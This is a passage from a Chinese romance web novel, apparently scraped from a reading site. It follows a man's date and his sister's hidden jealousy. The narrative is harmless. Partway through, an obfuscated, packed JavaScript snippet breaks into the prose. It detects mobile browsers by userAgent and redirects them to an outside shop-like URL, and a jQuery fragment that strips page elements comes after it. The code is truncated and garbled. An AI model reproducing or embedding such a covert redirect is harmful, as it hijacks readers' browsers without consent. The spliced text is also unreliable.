“那……上次你去花店买的花是？” 赵雅还是将这个问题问了出来，她上次见到对方是去年冬天，现在才五月份，也就半年多的时间，她一开始还觉得估计是这半年的时间里他和前任女朋友分手了，但现在说到他妹妹，她忽然意识到花也能是送给妹妹的。 周嘉先笑着点头，“是，上次的花也是送给我妹的，她当时刚考完试心情不好，哄哄她。” 眼前的男人说起家里的妹妹时，眉眼更加温和，赵雅心道，一个对女性如此尊重的人，是真的很戳她，她最喜欢沉稳有担当又情绪稳定的男人。 因此，她第一次主动道：“下周周末有好看的电影上映，我约你？” 周嘉先眉眼温和，“怎么能让女孩子先开口呢？那看完电影可以请赵小姐一起吃个饭吗？” 赵雅仿佛听见了心脏猛烈跳动的声音，闻言，她故意端着架子道：“那得看看我有没有空了……” “是，赵小姐说得是。”周嘉先笑着道。 …… 24. 第 24 章 - 周嘉先开车送赵雅到了家门口后礼貌地朝对方告别，随后驱车返回。他拎着打包好的双皮奶，换了鞋之后进家门，家里静悄悄的…… “小絮，小絮……你在家吗？” 无人应答…… 周嘉先拧起眉头，打开了她的房间门，房间里也没有人，这是……出门了吗？ 他将双皮奶放在冰箱里冷冻着，随后发了微信消息给她，「小絮，你去哪里了？」等了好半响，手机微信页面安安静静，她并没有回复。 周嘉先皱了下眉头，但也没有多想，小絮已经成年了，虽然她平时比较宅，但也不是完全不出门的人，他倒也不必太过担心。 回了房间后，周嘉先将房门敞开着，以备自家妹妹回来的时候能第一时间发现。他坐在桌前打开笔记本电脑，虽然说今天是周六，但该做的工作并不会因为今天是周六而消失。 墙上的时钟滴滴答答地走动着，很快便到了中午十二点。 周嘉先从繁忙的工作中抬头，他下意识看了微信，妹妹小絮依旧没有回复他。他再次发了微信消息过去，「小絮，中午在家吃饭吗？」 他刚发完消息，却听到家门口忽然传来声响，周嘉先连忙起身走出去，果然是他妹妹小絮，她拎着一个塑料袋子正一喘一喘地呼吸着。 “小絮！”周嘉先连忙快步走过去，扶住了她，边伸手接过她手上的塑料袋放在了玄关的柜子上。他余光一瞥发现里面是一些菜和肉，便道：“你去买菜了？” 林絮低着头任由周嘉先扶着她往客厅沙发走去，闻言，她低低嗯了一声，而她脑海中浮现的却是她哥和另外一个女孩子坐在咖啡馆的窗边相谈甚欢的样子。 是的，在她哥出门之后，她躺在床上怎么都无法说服自己就那么呆在家里，任由他去相亲，她想去看看，却没想到她哥对待其他的女孩子也是那么温柔，曾经只属于她的温柔假象在那一刻猛然碎裂开来。 她心酸得忍不住落泪，在他们并肩着走出咖啡馆时，她狼狈地躲了起来。 也许是为了不让自己狼狈得彻底，也许是怕他回家之后问她她去了哪里，她跑了一趟超市随便买了些肉菜。 对，她是出门去超市的，遇见他和女孩子相亲只是偶然，对，只是偶然！她才不会，才不会做出那种跟踪人的事。她才没有那么狼狈不堪……林絮自欺欺人地说服着自己。 “买菜的事你让我去就好了，拎着这么多东西还跑五楼……” 林絮坐在沙发上闭上眼，耳边是他与以往毫无差别的温声细语，心中的戾气越渐翻涌，她脱口而出道：“别说了——” 周嘉先愣了一下，眼神担忧：“怎么了？是身体很不舒服吗？” 林絮抿着唇，意识到自己的情绪在慢慢崩溃，她低着头，无地自容，明明他并没有错，错的是她，她却在迁怒他。 她努力地平复着难平的心绪，“哥，你别管我了。” “你在说什么？我怎么可能不管你，你从昨天晚上就情绪不太对，能和我说说到底怎么了吗？”周嘉先心中的担忧越来越重。 林絮抬眸红着眼眶瞪着他，“你管我？你能管我一辈子吗？” 这是什么话，他是她哥，怎么就不能管她一辈子了？ “算了。”林絮不等周嘉先开口便道，“我先回房间了，我有点累。” 她起身一步步往房间走，周嘉先眼神担忧地看着她，林絮似有所觉，站在房间门口时她心有所感地回过头，正好撞见了他担忧而无奈的神色。 过往的呵护和温柔一齐涌上心头和脑海，林絮哽咽了一瞬，她咽了咽，深呼吸一下，尽量用正常的语气道，“哥，对不起，我不是故意迁怒你的。对不起……” 周嘉先走过去，轻轻揉了揉她的发顶，柔声道：“哥知道，累了就去休息一下，等会儿可以吃饭了，哥叫你。” “嗯……” 林絮关上房门，颓然地坐在地上，她靠着门板久久出神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345490|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… * 厨房里水龙头的水流哗哗流着，周嘉先边洗着菜边出神，小絮去了一趟超市，回来就情绪这么差，难道是在出门的这段时间遇上什么事了或者遇见什么人了？ 遇见什么人…… 徐序晨！！ 是了，上次他带着小絮逛超市的时候就遇见徐序晨了，难道这次小絮出门就是遇见他了？ 周嘉先越想越觉得肯定是，也只有这个人能引得他家小絮情绪如此起伏，那句话“我有喜欢很多年的人了”再次回响在他的耳边。 他面色低沉下来，想起徐序晨当年说的那些污言秽语就心生怒意，可偏偏、偏偏他家小絮就是喜欢他那么多年！而现在……他也还记得上次见到对方，对方是有女朋友的。 一股浓重的无力感侵袭而来，周嘉先不自觉停下了手中的动作，他凝神思考半响，觉得不能再这么任由她继续喜欢徐序晨下去了，那就不是个良人。 周嘉先在脑海中回忆着他认识的优秀青年，心道，一定是他妹妹平日里很少和异性接触，所以才会对当年的徐序晨念念不忘，只要她接触更为优秀的青年，想来一定能意识到那只是过去回忆的滤镜而已，徐序晨并不如她想象中的美好，他的内心一直是丑陋的。 他在心中盘算好了之后，难宁的心绪终于安定下来，撇了一眼洗菜池里的生菜，他忍不住苦笑了片刻，这菜都要给他搓皱了…… 40分钟后。 周嘉先站在林絮的房门前轻轻敲了敲，“小絮，可以吃饭了……” 无人应答。 “小絮？” 半响后，就在周嘉先想着是不是要拧房门的把手时，房门被打开了，林絮微微笑了笑，“哥……” 周嘉先目光隐晦地打量了她几眼，眼眶泛红，他心中叹了口气，“嗯，吃饭吧……” “好。” 林絮走在他的身后，心底悄悄松了口气，应该糊弄过去了吧。 ……